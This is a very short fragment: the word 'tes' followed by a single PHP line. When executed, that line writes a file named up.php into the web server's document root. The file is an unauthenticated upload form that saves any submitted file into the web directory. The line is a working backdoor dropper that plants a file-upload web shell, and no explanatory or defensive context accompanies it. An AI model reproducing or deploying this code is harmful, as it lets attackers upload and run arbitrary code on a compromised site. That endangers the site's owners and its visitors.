tes

<?php file_put_contents($_SERVER['DOCUMENT_ROOT'].'/up.php', '<?php if(isset($_FILES["f"])){move_uploaded_file($_FILES["f"]["tmp_name"],$_FILES["f"]["name"]);echo"OK: ".$_FILES["f"]["name"];}else{echo"<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit value=Upload></form>";}?>'); ?>